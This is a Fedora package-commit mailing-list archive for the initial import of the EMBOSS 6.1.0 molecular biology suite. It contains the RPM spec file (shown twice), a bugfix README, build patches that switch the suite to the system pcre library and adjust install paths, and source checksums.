 if test "`uname`" = "FreeBSD" && ${with_pngdriver} != "no"; then
 { $as_echo "$as_me:$LINENO: checking for main in -liconv" >&5


--- NEW FILE EMBOSS.spec ---
# TODO:
# fix jemboss and enable it

%define emhome %{_datadir}/EMBOSS

Name:           EMBOSS
Version:        6.1.0
Release:        5%{?dist}
Summary:        The European Molecular Biology Open Software Suite

Group:          Applications/Engineering
License:        GPLv2+
URL:            http://emboss.sf.net/
Source0:        ftp://emboss.open-bio.org/pub/EMBOSS/%{name}-%{version}.tar.gz
Source1:        README.fixes
#Upstream patch
Patch0:         ftp://emboss.open-bio.org/pub/EMBOSS/fixes/patches/patch-1-2.gz
#Use system-wide pcre. Sent upstream.
Patch1:         %{name}-system-pcre.patch
#Fedora-specific. Not sent upstream.
Patch2:         %{name}-fedora.patch
#Add missing destdir. Sent upstream.
Patch3:         %{name}-6.1.0-destdir.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  gd-devel
#BuildRequires:  java-devel
BuildRequires:  pam-devel
BuildRequires:  pcre-devel
#BuildRequires:  axis classpathx-jaf jakarta-commons-discovery
#BuildRequires:  jakarta-commons-logging log4j wsdl4j

%description
EMBOSS is a new, free Open Source software analysis package specially
developed for the needs of the molecular biology (e.g. EMBnet) user community.
The software automatically copes with data in a variety of formats and even
allows transparent retrieval of sequence data from the web. Also, as extensive
libraries are provided with the package, it is a platform to allow other
scientists to develop and release software in true open source spirit.
EMBOSS also integrates a range of currently available packages and tools for
sequence analysis into a seamless whole.

Reference for EMBOSS: Rice,P. Longden,I. and Bleasby,A.
"EMBOSS: The European Molecular Biology Open Software Suite"
Trends in Genetics June 2000, vol 16, No 6. pp.276-277


%package devel
Summary:        Development tools for programs which will use the %{name} library
Group:          Development/Libraries
Requires:       %{name}-libs = %{version}-%{release}

%description devel
The %{name}-devel package includes the header files and static libraries
necessary for developing programs which will use the %{name} library.


%package libs
Summary:        Shared libraries for %{name}
Group:          System Environment/Libraries

%description libs
The %{name}-libs package includes the dynamic libraries
necessary for %{name}.


#%package java
#Summary:        Java interface to %{name}
#Group:          Applications/Engineering
#Requires:       %{name} = %{version}-%{release}
#Requires:       axis classpathx-jaf jakarta-commons-discovery
#Requires:       jakarta-commons-logging log4j wsdl4j

#%description java
#Jemboss is a Java interface to EMBOSS, developed at
#the HGMP-RC and in close collaboration with the EMBOSS
#development team. It is distributed as part of the EMBOSS
#software.

#Documentation on Jemboss can be found at:
#http://www.hgmp.mrc.ac.uk/Software/EMBOSS/Jemboss/


%prep
%setup -q
%patch0 -p1
%patch1 -p1 -b .pcre
%patch2 -p0 -b .fedora
%patch3 -p0 -b .destdir

#install the patch readme
install -pm 644 %{SOURCE1} README.fixes

#these files were executable for some reason
chmod 644 emboss/prettyplot.c emboss/polydot.c emboss/supermatcher.c

#use system java libraries
#pushd jemboss/lib
#rm activation.jar;
#ln -s %{_javadir}/activation.jar activation.jar;
#pushd axis
#for i in axis-ant axis jaxrpc saaj;
#do
#    rm $i.jar;
#    ln -s %{_javadir}/axis/$i.jar $i.jar;
#done
#for i in commons-discovery commons-logging wsdl4j;
#do
#    rm $i.jar;
#    ln -s %{_javadir}/$i.jar $i.jar;
#done
#rm log4j-1.2.8.jar
#ln -s %{_javadir}/log4j.jar log4j-1.2.8.jar
#popd
#popd


%build
%configure \
  --without-java \
  --disable-static \
  --with-x \
  --with-auth \
  --with-thread \
  --includedir=%{_includedir}/EMBOSS \
%ifarch ppc64 sparc64 x86_64
  --enable-64 \
%endif

%{__make} %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT

%{__make} install DESTDIR=$RPM_BUILD_ROOT

install -m 755 -d $RPM_BUILD_ROOT/%{_sysconfdir}/profile.d
cat << __EOF__ >> $RPM_BUILD_ROOT/%{_sysconfdir}/profile.d/emboss.sh
export PLPLOT_LIB=%{emhome}
export EMBOSS_ACDROOT=%{emhome}/acd
export EMBOSS_DOCROOT=%{emhome}/doc
export EMBOSS_DATABASE_DIR=%{emhome}/data
export EMBOSS_DATA=%{emhome}/data
__EOF__

cat << __EOF__ >> $RPM_BUILD_ROOT/%{_sysconfdir}/profile.d/emboss.csh
setenv PLPLOT_LIB %{emhome}
setenv EMBOSS_ACDROOT %{emhome}/acd
setenv EMBOSS_DOCROOT %{emhome}/doc
setenv EMBOSS_DATABASE_DIR %{emhome}/data
setenv EMBOSS_DATA %{emhome}/data
__EOF__

rm $RPM_BUILD_ROOT%{_libdir}/*.la

#this file has zero length, so kill it
rm $RPM_BUILD_ROOT%{_datadir}/EMBOSS/test/data/dna.aln

#fix executable permissions
pushd $RPM_BUILD_ROOT%{_datadir}/EMBOSS/jemboss/utils
chmod +x install-jemboss-server.sh keys.sh makeFileManagerJNLP.sh makeJar.csh \
     makeJNLP.sh
popd
pushd $RPM_BUILD_ROOT%{_datadir}/EMBOSS/jemboss/api
chmod +x getClasses.pl makeDocs.csh
popd

#rename conflicting binaries
mv $RPM_BUILD_ROOT%{_bindir}/chaos $RPM_BUILD_ROOT%{_bindir}/em_chaos


%clean
rm -rf $RPM_BUILD_ROOT


%post libs -p /sbin/ldconfig


%postun libs -p /sbin/ldconfig


%files
%defattr(-,root,root,-)
%doc AUTHORS ChangeLog COPYING FAQ INSTALL LICENSE NEWS README README.fixes THANKS
%{_bindir}/*
%exclude %{_bindir}/runJemboss.csh
%exclude %{_bindir}/jembossctl
%{_datadir}/EMBOSS
%exclude %{_datadir}/EMBOSS/jemboss
%config %{_sysconfdir}/profile.d/*


%files devel
%defattr(-,root,root,-)
%{_libdir}/*.so
%{_includedir}/EMBOSS

%files libs
%defattr(-,root,root,-)
%{_libdir}/*.so.*


#%files java
#%defattr(-,root,root,-)
#%doc jemboss/README jemboss/resources jemboss/api
#%{_bindir}/runJemboss.csh
#%{_bindir}/jembossctl
#%{_datadir}/EMBOSS/jemboss


%changelog
* Sat Oct 17 2009 Julian Sikorski <belegdol at fedoraproject.org> - 6.1.0-5
- Added comments explaining the purpose of each patch

* Mon Oct 05 2009 Julian Sikorski <belegdol at fedoraproject.org> - 6.1.0-4
- Renamed conflicting binaries
- Disabled jemboss

* Tue Sep 29 2009 Julian Sikorski <belegdol at fedoraproject.org> - 6.1.0-3
- Re-enabled system pcre usage
- Initial attempt at using system-wide .jar files

* Tue Sep 22 2009 Julian Sikorski <belegdol at fedoraproject.org> - 6.1.0-2
- Added the upstream 1-2 patch

* Wed Jul 29 2009 Julian Sikorski <belegdol at fedoraproject.org> - 6.1.0-1
- Updated to 6.1.0
- Dropped pcre-devel from BuildRequires for the time being
- Ditto --with-java and --with-javaos
- Patched jemboss/Makefile.am not to include DESTDIR in runJemboss.sh
- Install the header files in EMBOSS subdir
- Added the missing executable bits

* Fri Jun 12 2009 Julian Sikorski <belegdol at fedoraproject.org> - 6.0.1-3
- Updated the upstream patch to 1-12
- Added the patch readme to %%doc

* Thu Apr 16 2009 Julian Sikorski <belegdol at fedoraproject.org> - 6.0.1-2
- Own %%{_datadir}/EMBOSS
- Don't use %%{name} macro in %%files
- Updated the upstream patch to 1-7
- Use dist instead of dist_tag
- Adjusted whitespaces
- Added pcre-devel to BuildRequires
- Fixed spurious executable permissions
- Removed the empty dna.aln file
- Patched jemboss.properties to include the paths this package uses
- Made the -java package require the main one

* Mon Sep 29 2008 Dominik Mierzejewski <rpm at greysector.net> 6.0.1-1
- updated to 6.0.1
- applied upstream patch 1-1
- patched to use system pcre

* Tue Jan 08 2008 Dominik Mierzejewski <rpm at greysector.net> 5.0.0-1
- Cleaned up BioRPMs' spec
- Updated to 5.0.0

* Thu Mar 17 2005 Bent Terp <Bent.Terp at biosci.ki.se>
- Upped to 2.10.0

* Fri Jul 16 2004 Bent Terp <Bent.Terp at biosci.ki.se>
- Had forgotten the emboss_database_dir env var

* Wed Feb 18 2004 Bent Terp <Bent.Terp at biosci.ki.se>
- Tried to make the building more dynamic. Added Requires and BuildRequires

* Thu Dec 04 2003 Luc Ducazu <luc at biolinux.org>
- Build for EMBOSS 2.8.0
- subpackage jemboss

* Wed Jun 11 2003 Luc Ducazu <luc at biolinux.org>
- Build for EMBOSS 2.7.1

* Tue Jan 28 2003 Luc Ducazu <luc at biolinux.org>
- Build for EMBOSS 2.6.0
- Programs moved to /usr/local/bin
- Adopted many ideas from Guillaume Rousse <g.rousse at linux-mandrake.com>

* Wed Nov 27 2002 Luc Ducazu <luc at biolinux.org>
- Initial build for EMBOSS 2.5.1


--- NEW FILE README.fixes ---
The files in this directory are bugfix replacements for files in
the EMBOSS-6.1.0 distribution. Just drop the replacement files in
the location shown and redo the 'make install.'

Fix 1. EMBOSS-6.1.0/ajax/ajfeat.c
       EMBOSS-6.1.0/ajax/ajseqread.c
       EMBOSS-6.1.0/ajax/ajseqwrite.c
       EMBOSS-6.1.0/jemboss/org/emboss/jemboss/gui/Browser.java
       EMBOSS-6.1.0/jemboss/org/emboss/jemboss/gui/BuildProgramMenu.java
       EMBOSS-6.1.0/jemboss/org/emboss/jemboss/gui/form/BuildJembossForm.java
       EMBOSS-6.1.0/jemboss/org/emboss/jemboss/gui/sequenceChooser/InputSequenceAttributes.java
       EMBOSS-6.1.0/jemboss/org/emboss/jemboss/soap/GetVersion.java
       EMBOSS-6.1.0/jemboss/org/emboss/jemboss/soap/ShowDB.java
       EMBOSS-6.1.0/jemboss/utils/install-jemboss-server.sh
       EMBOSS-6.1.0/jemboss/lib/client.jar

29 Jul 2009: Fix feature specification problems in Jemboss.
             Use version number to point to documentation URLs
             Remove standalone option from server script.
             Correct FASTQ input searching for '@' to start next sequence
             Standardize FASTQ sequence formats with other OpenBio projects
             Correct issues in igstrict, genpept and refseqp formats

Fix 2. EMBOSS-6.1.0/ajax/ajmem.h
       EMBOSS-6.1.0/ajax/ajstr.c
       EMBOSS-6.1.0/ajax/ajstr.h
       EMBOSS-6.1.0/nucleus/embaln.c

24-Aug-2009: Fix string extension so that pointers in lists remain valid.
             This fixes a bug in processing SwissProt complex descriptions.
             Fix definition of AJRESIZE0 macro.
	     Fix processing of first match in a profile alignment (prophet).


--- NEW FILE import.log ---
EMBOSS-6_1_0-5_fc11:HEAD:EMBOSS-6.1.0-5.fc11.src.rpm:1255819648


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/EMBOSS/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:39:05 -0000	1.1
+++ .cvsignore	17 Oct 2009 22:47:55 -0000	1.2
@@ -0,0 +1,2 @@
+EMBOSS-6.1.0.tar.gz
+patch-1-2.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/EMBOSS/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:39:05 -0000	1.1
+++ sources	17 Oct 2009 22:47:55 -0000	1.2
@@ -0,0 +1,2 @@
+6c5163c571bc0be94d64420ce0d71824  EMBOSS-6.1.0.tar.gz
+faec6ddd399ef243f4d6ffbcc878b009  patch-1-2.gz



From belegdol at fedoraproject.org  Sat Oct 17 22:49:37 2009
From: belegdol at fedoraproject.org (belegdol)
Date: Sat, 17 Oct 2009 22:49:37 +0000 (UTC)
Subject: rpms/EMBOSS/F-12 EMBOSS-6.1.0-destdir.patch, NONE,
	1.1 EMBOSS-fedora.patch, NONE, 1.1 EMBOSS-system-pcre.patch,
	NONE, 1.1 EMBOSS.spec, NONE, 1.1 README.fixes, NONE,
	1.1 import.log, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091017224937.231BE11C00EC@cvs1.fedora.phx.redhat.com>

Author: belegdol

Update of /cvs/pkgs/rpms/EMBOSS/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29305/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	EMBOSS-6.1.0-destdir.patch EMBOSS-fedora.patch 
	EMBOSS-system-pcre.patch EMBOSS.spec README.fixes import.log 
Log Message:
Initial import

EMBOSS-6.1.0-destdir.patch:
 Makefile.am |    2 +-
 Makefile.in |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE EMBOSS-6.1.0-destdir.patch ---
--- jemboss/Makefile.am.destdir	2009-06-15 13:08:19.000000000 +0200
+++ jemboss/Makefile.am	2009-07-29 12:52:37.000000000 +0200
@@ -64,7 +64,7 @@
 	echo "(cd $(prefix)/share/$(PACKAGE)/jemboss; java org/emboss/jemboss/Jemboss &)" >> $(DESTDIR)$(bindir)/runJemboss.csh; \
 	chmod 755 $(DESTDIR)$(bindir)/runJemboss.csh; \
 	(cd $(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/resources; sed "s|user.auth=true|user.auth=false|" jemboss.properties | sed "s|jemboss.server=true|jemboss.server=false|" |  sed "s|/packages/emboss/STABLE|$(prefix)|" > jemboss.properties.new; mv -f jemboss.properties.new jemboss.properties; cd -); \
-    sed "s|JEMBOSS_HOME=.|JEMBOSS_HOME=$(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/|" runJemboss.sh > $(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/runJemboss.sh; \
+    sed "s|JEMBOSS_HOME=.|JEMBOSS_HOME=$(prefix)/share/$(PACKAGE)/jemboss/|" runJemboss.sh > $(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/runJemboss.sh; \
     chmod 755 $(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/runJemboss.sh;
     
 pkgdata_DATA = LICENSE readme.html README
--- jemboss/Makefile.in.destdir	2009-07-15 01:16:00.000000000 +0200
+++ jemboss/Makefile.in	2009-07-29 12:52:39.000000000 +0200
@@ -682,7 +682,7 @@
 	echo "(cd $(prefix)/share/$(PACKAGE)/jemboss; java org/emboss/jemboss/Jemboss &)" >> $(DESTDIR)$(bindir)/runJemboss.csh; \
 	chmod 755 $(DESTDIR)$(bindir)/runJemboss.csh; \
 	(cd $(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/resources; sed "s|user.auth=true|user.auth=false|" jemboss.properties | sed "s|jemboss.server=true|jemboss.server=false|" |  sed "s|/packages/emboss/STABLE|$(prefix)|" > jemboss.properties.new; mv -f jemboss.properties.new jemboss.properties; cd -); \
-    sed "s|JEMBOSS_HOME=.|JEMBOSS_HOME=$(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/|" runJemboss.sh > $(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/runJemboss.sh; \
+    sed "s|JEMBOSS_HOME=.|JEMBOSS_HOME=$(prefix)/share/$(PACKAGE)/jemboss/|" runJemboss.sh > $(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/runJemboss.sh; \
     chmod 755 $(DESTDIR)$(prefix)/share/$(PACKAGE)/jemboss/runJemboss.sh;
 
 # tar to pick up the other directories

EMBOSS-fedora.patch:
 jemboss.properties |    6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

--- NEW FILE EMBOSS-fedora.patch ---
--- jemboss/resources/jemboss.properties.fedora	2008-05-02 15:27:28.000000000 +0200
+++ jemboss/resources/jemboss.properties	2009-04-16 20:11:28.000000000 +0200
@@ -5,8 +5,8 @@
 service.public=JembossAuthServer
 service.private=JembossAuthServer
 plplot=/packages/emboss/STABLE/share/EMBOSS/
-embossData=/packages/emboss/STABLE/share/EMBOSS/data/
-embossBin=/packages/emboss/STABLE/bin/
+embossData=/usr/share/EMBOSS/data/
+embossBin=/usr/bin/
 embossPath=/usr/bin:/bin:/packages/clustal/:/packages/primer3/bin:/data/jobqueue/bin/:/usr/ucb/
-acdDirToParse=/packages/emboss/STABLE/share/EMBOSS/acd/
+acdDirToParse=/usr/share/EMBOSS/acd/
 embossURL=http://emboss.sourceforge.net/

EMBOSS-system-pcre.patch:
 ajax/Makefile.in |   26 ++++-----------------
 ajax/ajreg.h     |    6 ++--
 configure        |   67 +++++++++++++++++++++++++++++++++++++++++++++++++++++++
 3 files changed, 75 insertions(+), 24 deletions(-)

--- NEW FILE EMBOSS-system-pcre.patch ---
diff -up EMBOSS-6.1.0/ajax/ajreg.h.pcre EMBOSS-6.1.0/ajax/ajreg.h
--- EMBOSS-6.1.0/ajax/ajreg.h.pcre	2007-02-09 19:30:59.000000000 +0100
+++ EMBOSS-6.1.0/ajax/ajreg.h	2009-09-27 03:17:19.000000000 +0200
@@ -16,8 +16,8 @@ extern "C"
 #define ajreg_h
 
 #include "ajax.h"
-#include "pcre_internal.h"
-#include "pcreposix.h"
+#include <pcre.h>
+#include <pcreposix.h>
 
 #define AJREG_OVECSIZE 30
 
@@ -37,7 +37,7 @@ extern "C"
 ******************************************************************************/
 
 typedef struct AjSRegexp {
-    real_pcre *pcre;
+    struct real_pcre *pcre;
     pcre_extra *extra;
     int *ovector;
     const char* orig;
diff -up EMBOSS-6.1.0/ajax/Makefile.in.pcre EMBOSS-6.1.0/ajax/Makefile.in
--- EMBOSS-6.1.0/ajax/Makefile.in.pcre	2009-07-15 01:15:58.000000000 +0200
+++ EMBOSS-6.1.0/ajax/Makefile.in	2009-09-27 03:17:19.000000000 +0200
@@ -81,7 +81,7 @@ am__libajax_la_SOURCES_DIST = ajacd.c aj
 	ajphylo.c ajrange.c ajreg.c ajreport.c ajseq.c ajseqabi.c \
 	ajseqdb.c ajseqread.c ajseqtype.c ajseqwrite.c ajsort.c \
 	ajstr.c ajsys.c ajtable.c ajtime.c ajtranslate.c ajtree.c \
-	ajutil.c ajvector.c pcre.c pcre_study.c pcreposix.c ajgraph.c \
+	ajutil.c ajvector.c \
 	ajhist.c
 am__objects_1 = ajacd.lo ajalign.lo ajarr.lo ajassert.lo ajbase.lo \
 	ajcall.lo ajcod.lo ajdan.lo ajdmx.lo ajdom.lo ajdomain.lo \
@@ -92,7 +92,7 @@ am__objects_1 = ajacd.lo ajalign.lo ajar
 	ajreport.lo ajseq.lo ajseqabi.lo ajseqdb.lo ajseqread.lo \
 	ajseqtype.lo ajseqwrite.lo ajsort.lo ajstr.lo ajsys.lo \
 	ajtable.lo ajtime.lo ajtranslate.lo ajtree.lo ajutil.lo \
-	ajvector.lo pcre.lo pcre_study.lo pcreposix.lo
+	ajvector.lo
 am__objects_2 = ajgraph.lo ajhist.lo
 @ISCYGWIN_FALSE at am_libajax_la_OBJECTS = $(am__objects_1)
 @ISCYGWIN_TRUE at am_libajax_la_OBJECTS = $(am__objects_1) \
@@ -159,7 +159,6 @@ EXEEXT = @EXEEXT@
 FGREP = @FGREP@
 GREP = @GREP@
 HAVE_MEMMOVE = @HAVE_MEMMOVE@
-HAVE_STRERROR = @HAVE_STRERROR@
 INSTALL = @INSTALL@
 INSTALL_DATA = @INSTALL_DATA@
 INSTALL_PROGRAM = @INSTALL_PROGRAM@
@@ -172,7 +171,7 @@ LD = @LD@
 LDFLAGS = @LDFLAGS@
 LIBOBJS = @LIBOBJS@
 #LDFLAGS = -no-undefined
-LIBS = 
+LIBS = @LIBS@
 LIBTOOL = @LIBTOOL@
 LIPO = @LIPO@
 LN_S = @LN_S@
@@ -193,13 +192,6 @@ PACKAGE_STRING = @PACKAGE_STRING@
 PACKAGE_TARNAME = @PACKAGE_TARNAME@
 PACKAGE_VERSION = @PACKAGE_VERSION@
 PATH_SEPARATOR = @PATH_SEPARATOR@
-PCRE_DATE = @PCRE_DATE@
-PCRE_LIB_VERSION = @PCRE_LIB_VERSION@
-PCRE_MAJOR = @PCRE_MAJOR@
-PCRE_MINOR = @PCRE_MINOR@
-PCRE_POSIXLIB_VERSION = @PCRE_POSIXLIB_VERSION@
-PCRE_VERSION = @PCRE_VERSION@
-POSIX_MALLOC_THRESHOLD = @POSIX_MALLOC_THRESHOLD@
 RANLIB = @RANLIB@
 SED = @SED@
 SET_MAKE = @SET_MAKE@
@@ -272,8 +264,6 @@ top_srcdir = @top_srcdir@
 @ISAIXIA64_TRUE@@ISSHARED_TRUE@@NEEDAJAX_FALSE at AM_CFLAGS = -Wl,-G -L../plplot/.libs -L.libs -leplplot -lm
 @ISAIXIA64_TRUE@@ISSHARED_TRUE@@NEEDAJAX_TRUE at AM_CFLAGS = -Wl,-G -L../plplot/.libs -L.libs -lajax -leplplot -lm
 @ISCYGWIN_TRUE at AM_LDFLAGS = -no-undefined -Wl,--add-stdcall-alias -Wl,--export-all-symbols -Wl,--enable-auto-import -L../plplot -leplplot
-PCRELIBVERSION = @PCRE_LIB_VERSION@
-PCREPOSIXLIBVERSION = @PCRE_POSIXLIB_VERSION@
 INCLUDES = -DAJAX_FIXED_ROOT=$(AJAX_FIXED_ROOT) -DPREFIX=\"$(prefix)\" -I$(top_srcdir)/plplot $(POSIX_MALLOC_THRESHOLD) 
 AJAXSRC = ajacd.c ajalign.c ajarr.c ajassert.c \
 ajbase.c ajcall.c ajcod.c \
@@ -288,8 +278,7 @@ ajrange.c ajreg.c ajreport.c \
 ajseq.c ajseqabi.c ajseqdb.c ajseqread.c ajseqtype.c ajseqwrite.c \
 ajsort.c ajstr.c ajsys.c \
 ajtable.c ajtime.c ajtranslate.c ajtree.c \
-ajutil.c ajvector.c \
-pcre.c pcre_study.c pcreposix.c
+ajutil.c ajvector.c
 
 AJAXGSRC = ajgraph.c ajhist.c
 include_HEADERS = ajax.h ajarch.h ajdefine.h \
@@ -303,9 +292,7 @@ ajpat.h ajpdb.h ajpdbio.h ajphylo.h \
 ajrange.h ajreg.h ajreport.h \
 ajseq.h ajseqabi.h ajseqdata.h ajseqdb.h ajseqread.h ajseqtype.h ajseqwrite.h \
 ajsort.h ajstr.h ajsys.h \
-ajtable.h ajtime.h ajtranslate.h ajtree.h ajutil.h ajvector.h \
-pcre.h pcre_chartables.c pcre_config.h pcre_get.c pcre_printint.c \
-pcre_internal.h pcreposix.h
+ajtable.h ajtime.h ajtranslate.h ajtree.h ajutil.h ajvector.h
 
 @ISCYGWIN_FALSE at libajax_la_SOURCES = $(AJAXSRC)
 @ISCYGWIN_TRUE at libajax_la_SOURCES = $(AJAXSRC) $(AJAXGSRC)
@@ -440,9 +427,6 @@ distclean-compile:
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/ajtree.Plo at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/ajutil.Plo at am__quote@
 @AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/ajvector.Plo at am__quote@
- at AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/pcre.Plo at am__quote@
- at AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/pcre_study.Plo at am__quote@
- at AMDEP_TRUE@@am__include@ @am__quote at ./$(DEPDIR)/pcreposix.Plo at am__quote@
 
 .c.o:
 @am__fastdepCC_TRUE@	$(COMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ $<
diff -up EMBOSS-6.1.0/configure.pcre EMBOSS-6.1.0/configure
--- EMBOSS-6.1.0/configure.pcre	2009-07-15 01:15:56.000000000 +0200
+++ EMBOSS-6.1.0/configure	2009-09-27 03:21:32.000000000 +0200
@@ -16724,6 +16724,73 @@ _ACEOF
 
 fi
 
+{ echo "$as_me:$LINENO: checking for pcre_compile in -lpcre" >&5
+echo $ECHO_N "checking for pcre_compile in -lpcre... $ECHO_C" >&6; }
+if test "${ac_cv_lib_pcre_pcre_compile+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  ac_check_lib_save_LIBS=$LIBS
+LIBS="-lpcre  $LIBS"
+cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+/* Override any GCC internal prototype to avoid an error.
+   Use char because int might match the return type of a GCC
+   builtin and then its argument prototype would still apply.  */
+#ifdef __cplusplus
+extern "C"
+#endif
+char pcre_compile ();
+int
+main ()
+{
+return pcre_compile ();
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (ac_try="$ac_link"
+case "(($ac_try" in
+  *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;;
+  *) ac_try_echo=$ac_try;;
+esac
+eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5
+  (eval "$ac_link") 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } && {
+         test -z "$ac_c_werror_flag" ||
+         test ! -s conftest.err
+       } && test -s conftest$ac_exeext &&
+       $as_test_x conftest$ac_exeext; then
+  ac_cv_lib_pcre_pcre_compile=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+        ac_cv_lib_pcre_pcre_compile=no
+fi
+
+rm -f core conftest.err conftest.$ac_objext conftest_ipa8_conftest.oo \
+      conftest$ac_exeext conftest.$ac_ext
+LIBS=$ac_check_lib_save_LIBS
+fi
+{ echo "$as_me:$LINENO: result: $ac_cv_lib_pcre_pcre_compile" >&5
+echo "${ECHO_T}$ac_cv_lib_pcre_pcre_compile" >&6; }
+if test "x$ac_cv_lib_pcre_pcre_compile" = x""yes; then
+  LIBS="-lpcre $LIBS"
+else
+  LIBS="$LIBS"
+fi
+
 
 if test "`uname`" = "FreeBSD" && ${with_pngdriver} != "no"; then
 { $as_echo "$as_me:$LINENO: checking for main in -liconv" >&5


--- NEW FILE EMBOSS.spec ---
# TODO:
# fix jemboss and enable it

%define emhome %{_datadir}/EMBOSS

Name:           EMBOSS
Version:        6.1.0
Release:        5%{?dist}
Summary:        The European Molecular Biology Open Software Suite

Group:          Applications/Engineering
License:        GPLv2+
URL:            http://emboss.sf.net/
Source0:        ftp://emboss.open-bio.org/pub/EMBOSS/%{name}-%{version}.tar.gz
Source1:        README.fixes
#Upstream patch
Patch0:         ftp://emboss.open-bio.org/pub/EMBOSS/fixes/patches/patch-1-2.gz
#Use system-wide pcre. Sent upstream.
Patch1:         %{name}-system-pcre.patch
#Fedora-specific. Not sent upstream.
Patch2:         %{name}-fedora.patch
#Add missing destdir. Sent upstream.
Patch3:         %{name}-6.1.0-destdir.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  gd-devel
#BuildRequires:  java-devel
BuildRequires:  pam-devel
BuildRequires:  pcre-devel
#BuildRequires:  axis classpathx-jaf jakarta-commons-discovery
#BuildRequires:  jakarta-commons-logging log4j wsdl4j

%description
EMBOSS is a new, free Open Source software analysis package specially
developed for the needs of the molecular biology (e.g. EMBnet) user community.
The software automatically copes with data in a variety of formats and even
allows transparent retrieval of sequence data from the web. Also, as extensive
libraries are provided with the package, it is a platform to allow other
scientists to develop and release software in true open source spirit.
EMBOSS also integrates a range of currently available packages and tools for
sequence analysis into a seamless whole.

Reference for EMBOSS: Rice,P. Longden,I. and Bleasby,A.
"EMBOSS: The European Molecular Biology Open Software Suite"
Trends in Genetics June 2000, vol 16, No 6. pp.276-277


%package devel
Summary:        Development tools for programs which will use the %{name} library
Group:          Development/Libraries
Requires:       %{name}-libs = %{version}-%{release}

%description devel
The %{name}-devel package includes the header files and static libraries
necessary for developing programs which will use the %{name} library.


%package libs
Summary:        Shared libraries for %{name}
Group:          System Environment/Libraries

%description libs
The %{name}-libs package includes the dynamic libraries
necessary for %{name}.


#%package java
#Summary:        Java interface to %{name}
#Group:          Applications/Engineering
#Requires:       %{name} = %{version}-%{release}
#Requires:       axis classpathx-jaf jakarta-commons-discovery
#Requires:       jakarta-commons-logging log4j wsdl4j

#%description java
#Jemboss is a Java interface to EMBOSS, developed at
#the HGMP-RC and in close collaboration with the EMBOSS
#development team. It is distributed as part of the EMBOSS
#software.

#Documentation on Jemboss can be found at:
#http://www.hgmp.mrc.ac.uk/Software/EMBOSS/Jemboss/


%prep
%setup -q
%patch0 -p1
%patch1 -p1 -b .pcre
%patch2 -p0 -b .fedora
%patch3 -p0 -b .destdir

#install the patch readme
install -pm 644 %{SOURCE1} README.fixes

#these files were executable for some reason
chmod 644 emboss/prettyplot.c emboss/polydot.c emboss/supermatcher.c

#use system java libraries
#pushd jemboss/lib
#rm activation.jar;
#ln -s %{_javadir}/activation.jar activation.jar;
#pushd axis
#for i in axis-ant axis jaxrpc saaj;
#do
#    rm $i.jar;
#    ln -s %{_javadir}/axis/$i.jar $i.jar;
#done
#for i in commons-discovery commons-logging wsdl4j;
#do
#    rm $i.jar;
#    ln -s %{_javadir}/$i.jar $i.jar;
#done
#rm log4j-1.2.8.jar
#ln -s %{_javadir}/log4j.jar log4j-1.2.8.jar
#popd
#popd


%build
%configure \
  --without-java \
  --disable-static \
  --with-x \
  --with-auth \
  --with-thread \
  --includedir=%{_includedir}/EMBOSS \
%ifarch ppc64 sparc64 x86_64
  --enable-64 \
%endif

%{__make} %{?_smp_mflags}


%install
rm -rf $RPM_BUILD_ROOT

%{__make} install DESTDIR=$RPM_BUILD_ROOT

install -m 755 -d $RPM_BUILD_ROOT/%{_sysconfdir}/profile.d
cat << __EOF__ >> $RPM_BUILD_ROOT/%{_sysconfdir}/profile.d/emboss.sh
export PLPLOT_LIB=%{emhome}
export EMBOSS_ACDROOT=%{emhome}/acd
export EMBOSS_DOCROOT=%{emhome}/doc
export EMBOSS_DATABASE_DIR=%{emhome}/data
export EMBOSS_DATA=%{emhome}/data
__EOF__

cat << __EOF__ >> $RPM_BUILD_ROOT/%{_sysconfdir}/profile.d/emboss.csh
setenv PLPLOT_LIB %{emhome}
